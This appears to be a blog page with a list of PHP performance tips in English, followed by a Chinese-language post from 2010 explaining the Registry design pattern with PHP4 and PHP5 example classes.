  • When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don’t go modifying your C or Java code thinking it’ll suddenly become faster, it won’t. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend’s PHP optimizer. It is still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.

  • Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.

  • Do not implement every data structure as a class, arrays are useful, too.

  • Don’t split methods too much, think, which code you will really re-use.

  • You can always split the code of a method later, when needed.

  • Make use of the countless predefined functions.

  • If you have very time consuming functions in your code, consider writing them as C extensions.

  • Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview.

  • mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%.

2010年3月1日星期一

PHP 注册模式

注册模式:就像“对象的电话簿”——储存并且能够取回对对象引用的登记簿。
[php title="PHP4"]
class RegistryMonoState {var $_store;
function &_initRegistry() {
static $store = array();
return $store;
}

function RegistryMonoState() {
$this->_store =& $this->_initRegistry();
}

function isValid($key) {
return array_key_exists($key, $this->_store);
}

function &get($key) {
if (array_key_exists($key, $this->_store))
return $this->_store[$key];
}

function set($key, &$obj) {
$this->_store[$key] =& $obj;
}
}
[/php]

[php title="PHP5"]
class RegistryMonoState {
protected static $store = array();

function isValid($key) {
return array_key_exists($key, RegistryMonoState::$store);
}

function get($key) {
if (array_key_exists($key, RegistryMonoState::$store))
return RegistryMonoState::$store[$key];
}

function set($key, $obj) {
RegistryMonoState::$store[$key] = $obj;
}
}
[/php]

单件模式的测试用例
[php]
define('REGISTRY_GLOBAL_STORE', '__registry_global_store_key__');

class RegistryGlobal {
var $_store;

function RegistryGlobal() {
if (!array_key_exists(REGISTRY_GLOBAL_STORE, $GLOBALS)||!is_array($GLOBALS[REGISTRY_GLOBAL_STORE])) {
$GLOBALS[REGISTRY_GLOBAL_STORE] = array();
}

$this->_store =& $GLOBALS[REGISTRY_GLOBAL_STORE];
}

function isValid($key) {
return array_key_exists($key, $this->_store);
}

function &get($key) {
if (array_key_exists($key, $this->_store)) return $this->_store[$key];
}

function set($key, &$obj) {
$this->_store[$key] =& $obj;
}
}
[/php]
$this->_store =& $GLOBALS[REGISTRY_GLOBAL_STORE;] 引用操作符将全局数组绑定到实例变量$_store上。这是单件模式实现的关键所在:每次在对象中使用$this->_store变量时,作用反映到全局变量中。

内嵌的Registry模式
[php]
class AddressBook {
var $registry;
function AddressBook() {
$this->registry =& Registry::getInstance();
}

function &findById($id) {
if (!$this->registry->isValid($id)) {
$this->registry->set($id, new Contact($id));
}

return $this->registry->get($id);
}
}
[/php]
AddressBook类的构造函数将registry绑定到一个实例变量。当创建了一个特定的ID并被findById()方法调用时,Registry被检查以确定对象是否已经被缓存。如果没有,将创建一个新的对象并存储在Registry中。被调用的对象将通过函数从Registry中取出并被返回。